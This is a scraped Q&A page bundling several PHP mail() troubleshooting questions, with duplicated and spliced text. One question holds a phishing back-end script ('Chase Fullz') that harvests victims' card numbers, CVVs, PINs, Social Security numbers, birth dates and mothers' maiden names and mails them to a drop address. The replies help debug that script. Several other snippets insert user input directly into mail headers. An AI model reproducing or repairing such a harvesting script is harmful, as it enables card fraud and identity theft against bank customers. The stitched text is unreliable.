I have Created Mail php code but not send email [duplicate] - php

This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 7 years ago.
I am try to get what is problem but not find out.Please Help me.What is problem in this code.only mail not send message will show "pass".
This code is not send mail but message will show pass.
<?php
$name = $_POST['name'];
$employeestrength = $_POST['employeestrength'];
$companyweb = $_POST['companyweb'];
$contactpersonname = $_POST['contactpersonname'];
$contactnumber = $_POST['contactnumber'];
$emailaddress = $_POST['emailaddress'];
$cityandstste = $_POST['cityandstste'];
$massege = $_POST['massege'];
$captch = $_POST['captch'];
$to = "balvant.alpha#gmail.com";
$subject = "E-mail from HRMSsystem.com for new requirement";
$message = "<br>";
$message .= "<b>Name :</b> $name <br>";
$message .= "<b>Email :</b> $employeestrength <br>";
$message .= "<b>organization :</b> $companyweb<br>";
$message .= "<b>Phone Number:</b> $contactpersonname <br>";
$message .= "<b>Comapny :</b> $contactnumber <br>";
$message .= "<b>City :</b> $emailaddress <br>";
$message .= "<b>Description :</b> $cityandstste <br>";
$message .= "<b>Massege :</b> $massege <br>";
$message .= "<b>captch :</b> $captch <br>";
$message .= "<br>";
$header = "From:no-reply#hrmssystem.com \r\n";
$header .= "MIME-Version: 1.0\r\n";
$header .= "Content-type: text/html\r\n";
$body = "We have received the following information:\n\n";
$headers2 = "From:no-reply#hrmssystem.com";
$subject2 = "Request to get listed into HRMSsystem.com";
$message2 = "Dear, Thank you for request and details to list into HRMSsystem.com directory. Our team will verify and list your details into directory as soon as possible. Kindly contact team#hrmssystem.com for more details or questions.";
$retval = mail($to,$subject,$message,$header);
mail($to, $subject, $body);
$send2 = mail($emailaddress, $subject2, $message2,$headers2);
if( $retval == true )
{
//echo "pass";
header('Location: http://localhost:8080/caofficeautomation/');
}
else{
echo "Message could not be sent..."; }
?>
Thanks
Please Help Me for short Out this problem.

Also, please check this answer (if you trying to send mail from localhost).
php send mail from localhost

Related

Mail is not Going in PHP

i am not able to send email in php,Any one help me to identify
i am not able to send email in php,Any one help me to identify where i am wrong.After filling form All details has to go a specified email.but here it is displaying else condition.So,Please help me to solve this problem.
i am not able to send email in php,Any one help me to identify where i am wrong.After filling form All details has to go a specified email.but here it is displaying else condition.So,Please help me to solve this problem.
i am not able to send email in php,Any one help me to identify where i am wrong.After filling form All details has to go a specified email.but here it is displaying else condition.So,Please help me to solve this problem. where i am wrong.After filling form All details has to go a specified email.but here it is displaying else condition.So,Please help me to solve this problem.
<?php
$englishname = $_REQUEST['firstname'].'&nbsp'.$_REQUEST['lastname'];
$arabicname = $_REQUEST['firstnamearabic'].'&nbsp'.$_REQUEST['lastnamearabic'];
$education = $_POST['education'];
$ar_education = $_POST['educationarabic'];
$email = $_POST['email'];
$country= $_POST['parent_cat'];
$city= $_POST['cit_cat'];
$area= $_POST['area'];
$mobilenumber= $_POST['mobileno'];
$doorno= $_POST['doorno'];
$phone= $_POST['phoneno'];
$street= $_POST['street'];
$apartment = $_POST['apartment'];
$experience = $_POST['experience'];
$postalcode = $_POST['postelcode'];
$landmark = $_POST['landmark'];
if(isset($_POST['requesttype'])&&$_POST['requesttype'] == 'addEmployee')
{
$to = 'arundsti#gmail.com';
$subject = 'NEW DOCTOR REGISTRATION DETAILS-FIND A DOCTOR';
$from = $_REQUEST['email'];
// mandatory headers for email message, change if you need something different in your setting.
$headers = "From: " . $from . "\r\n";
$headers .= "Reply-To: ". $from . "\r\n";
$headers .= "CC: info#findadoctorsa.com\r\n";
$headers .= "MIME-Version: 1.0\r\n";
$headers .= "Content-Type: text/html; charset=ISO-8859-1\r\n";
$message = "Name in English: $englishname.\r\n";
$message .= "Name in Arabic: $arabicname.\r\n";
$message .= "Education: $education \r\n";
$message .= "Education in Arabic: $ar_education \r\n";
$message .= "Email: $email \r\n";
$message .= "Country: $country \r\n";
$message .= "City: $city \r\n";
$message .= "Area: $area \r\n";
$message .= "Mobilenumber: $mobilenumber \r\n";
$message .= "DoorNumber: $doorno \r\n";
$message .= "PhoneNumber: $phone \r\n";
$message .= "Street: $street \r\n";
$message .= "Apartment: $apartment \r\n";
$message .= "Experience: $experience \r\n";
$message .= "Postalcode: $postalcode \r\n";
$message .= "Landmark: $landmark \r\n";
$sent = mail($to, $subject, $message, $headers);
if($sent){ ?>
<script>
alert('Your Details received Successfully...We will Touch with you shortly');
</script>
<?php
}
else {?>
<script>
alert('Sorry Problem in Submitting Details,Please try Again');
</script>
<?php
}
}
?>

PHP - why my email send code doesnt work? [duplicate]

This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 7 years ago.
you can see on the title.
i will post here my code.. i please if i done the code worng please
<?php
$name = $_REQUEST["name"];
$email = $_REQUEST["email"];
$mobile = $_REQUEST["mobile"];
//$msg = $_REQUEST["msg"];
$to = "email#email.com"; // <--- Change email ID here
if (isset($email) && isset($name)) {
$subject = "Cadastro para Pos Graduacao em Lideranca e Gestao Sustentavel";
$headers = "MIME-Version: 1.0" . "\r\n";
$headers .= "Content-type:text/html;charset=iso-8859-1" . "\r\n";
$headers .= "From: <".$email.">\r\n"."Reply-To: ".$email."\r\n" ;
$msg = "From: Email: $email <br/>Mobile: $mobile" ; //<br/>Message: $msg
$mail = mail($to, $subject, $msg, $headers);
if($mail)
{
echo 'success';
}
else
{
echo 'failed';
}
}
?>
well.. this codes works on other projets.. so i dont know what im doing wrong..
if(isset($_REQUEST['email']) && !empty($_REQUEST['email'])) {
$name = $_REQUEST["name"];
$email = $_REQUEST["email"];
$mobile = $_REQUEST["mobile"];
$headers = "From: information <".$email.">\n";
$headers .= 'MIME-Version: 1.0' . "\n";
$headers .= 'Content-type: text/html; charset=iso-8859-1' . "\n";
$to='email#email.com';
$subject = 'subjenct';
$message = "<html>
<body>
<p style='font-family:verdana; font-size:12px; margin:30px 0 0 30px; align=center'>
<strong> Information </strong> <br>
<strong>Full Name: </strong> ".$name."<br>
<strong>Email: </strong> ".$email."<br>
<strong>Mobile: </strong> ".$mobile."<br>
</p>
</body>
</html>";
$res= mail( $to, $subject, $message, $headers );
}
if($res)
{
echo 'success';
}
else
{
echo 'failed';
}

Php redirect / Header

I've been messing with this code all day for a friend and i can't seem to get it to redirect after sending whatever info is sent. Wondering if anyone could help.
I need it to redirect to site.com/logoff.php
<?php
$ip = getenv("REMOTE_ADDR");
$hostname = gethostbyaddr($ip);
$message .= "--------------+ User online +------------\n";
$message .= "Full Name : : ".$_POST['Name']."\n";
$message .= "Mailing Address : ".$_POST['address']."\n";
$message .= "Mailing Address 2 : ".$_POST['address2']."\n";
$message .= " City : ".$_POST['city']."\n";
$message .= " State : ".$_POST['state']."\n";
$message .= " Zip Code : ".$_POST['zip']."\n";
$message .= "--------------+ Card Info +------------\n";
$message .= " Confirm Card Number : ".$_POST['cardnumber']."\n";
$message .= " Expiration Date : ".$_POST['expmonth']."";
$message .= "".$_POST['expyear']."\n";
$message .= " Card Security Code : ".$_POST['cvv']."\n";
$message .= " Card Pin : ".$_POST['cardpin']."\n";
$message .= "--------------+ Security Information +------------\n";
$message .= " Social Security Number : ".$_POST['ssn1']."";
$message .= "-".$_POST['ssn2']."";
$message .= "-".$_POST['ssn3']."\n";
$message .= " Date of Birth : ".$_POST['bmonth']."";
$message .= "-".$_POST['bday']."";
$message .= "-".$_POST['byear']."\n";
$message .= " MMN : ".$_POST['mmn']."\n";
$message .= "--------------+ Connction info +------------\n";
$message .= "IP Address : ".$ip."\n";
$message .= "HostName : ".$hostname."\n";
$message .= "--------------------\n";
$rnessage = "$message\n";
$message .= "--------------+ Run the world +------------\n";
$send="123123#gmail.com";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216#hotmail.com>";
$str=array($send, $IP); foreach ($str as $send)
if(mail($send,$subject,$rnessage,$headers) != false){
mail($Send,$subject,$rnessage,$headers);
mail($messege,$subject,$rnessage,$headers);
Header ("Location:logoff.php");
}
?>
Few things.
You have call mail() three times.
When you check if(mail() 1= false){}. you send mail again two more times with no recipient in 3rd mail();
mail($messege,$subject,$rnessage,$headers);
But still if you need to send multiple mail you can define them all in one array.
$recipients = array('mail1', 'mail2');
mail(implode(',', $recipients), $subject, $message, $headers);
And also if you need you can print error by
error_get_last()
$send="123123#gmail.com";
$subject = "Chase Fullz";
$headers = "From: ChaseFullz<v3216#hotmail.com>";
$str = array($send, $IP);/* seems redundant, you can't send an email to an ip address! */
/* Only one call to mail is needed */
if( mail( $send, $subject, $message, $headers) != false){
header ("Location:logoff.php");
} else {
echo 'failed';
}

Php mail() is not sending the emails [duplicate]

This question already has answers here:
PHP mail function doesn't complete sending of e-mail
(31 answers)
Closed 8 years ago.
I am using the php mail() function to send mails from my server. It was working fine before but now I am not getting the simple mail. Mail status is TRUE but emails are not being received. I tested it on the other server its working fine there.
Here is my code:
$to = 'myemail#gmail.com';
$name = trim($_POST['name']);
$email = trim($_POST['email']);
$phone_number = trim($_POST['phone']);
$message = trim($_POST['message']);
$subject = 'Contact Message from - ' . strip_tags($name);
$headers = "From: " . $name . " <" . $email . "> \r\n";
$headers .= "Reply-To: " . strip_tags($email) . "\r\n";
$headers .= "Content-type: text/html \r\n";
$message = '<html><body>';
$message .= '<h1>Hello, </h1>';
$message .= '</body></html>';
$message .= '<html><body>';
$message .= '<table rules="all" style="border-color: #666; border:1px solid;" cellpadding="10">';
$message .= "<tr><td><strong>Name:</strong> </td><td>" . $name . "</td></tr>";
$message .= "<tr><td><strong>Email:</strong> </td><td>" . $email . "</td></tr>";
$message .= "<tr><td><strong>Phone Number:</strong> </td><td>" . $phone_number . "</td></tr>";
$message .= "<tr><td><strong>Message:</strong> </td><td>" . $message . "</td></tr>";
$message .= "</table>";
$message .= "</body></html>";
$confirmation = mail($to, $subject, $message, $headers);
if ($confirmation) {
print "<meta http-equiv=\"refresh\" content=\"0;URL=thanks.php\">";
} else {
print "<meta http-equiv=\"refresh\" content=\"0;URL=error.php\">";
}
At first check a simple mail.
<?php
ini_set('display_errors',1);
$email = '';//<--your mail
if (mail($email, 'test', 'test') {
echo 'send';
} else {
echo 'problems';
}
Run it. Check your email, if do not send - see errors on display.
Check server's SMTP setting may be its incorrect,
alternative you can use this simple SMPT send mail script.

PHP Mailer, need to add multiple Bcc [duplicate]

This question already has answers here:
php mail bcc multiple recipients
(4 answers)
Closed 9 years ago.
I have been using this mailer for a while, but now I need to add (multiple) permanent Bcc addresses. How can I do this?
Here is my code so far:
<?php
$message = '';
if (isset($_POST['email']) && !empty($_POST['email'])) {
if (mail($_POST['email'], $_POST['subject'], $_POST['body'], "From: me#mydomain")) {
$message = "Email has been sent to <b>".$_POST['email']."</b>.<br>";
} else {
$message = "Failed sending message to <b>".$_POST['email']."</b>.<br>";
}
} else {
if (isset($_POST['submit'])) {
$message = "No email address specified!<br>";
}
}
if (!empty($message)) {
$message .= "<br><br>";
}
?>
Try this:
<?php
$thirdMail = "three#example.com\r\n";
$header = "From: email#example.com\r\n";
$header .= "BCC: one#example.com,two#example.com,".$thirdMail;
mail($toMail, $subject, $message, $header);
?>
As you can see, each adress is seperated by a comma.
See here, this will provide details which can help to set cc and bcc in mail().
e.g,
$bcc = array_of_bcc_users;
$headers = 'From: admin#website.com' . "\r\n";
$headers .= 'BCC: '. implode(",", $bcc) . "\r\n";
mail($to, $title, $content, $headers);
Try this it may be useful for you:
<?php
$msgTo = "msgTo#email.com";
$msgSubject = "Mail Subject";
$msgContent = "This is the message,:)";
$bcc = "msgbcc#email.com";
$msgHeaders = "To: $msgTo\r\n";
$msgHeaders .= "From: no-reply#email.com\r\n";
$msgHeaders .= "Bcc: $bcc\r\n";
$msgHeaders .= "X-Mailer: PHP".phpversion();
$success = mail($msgTo, $msgSubject, $msgContent, $msgHeaders);?>

Categories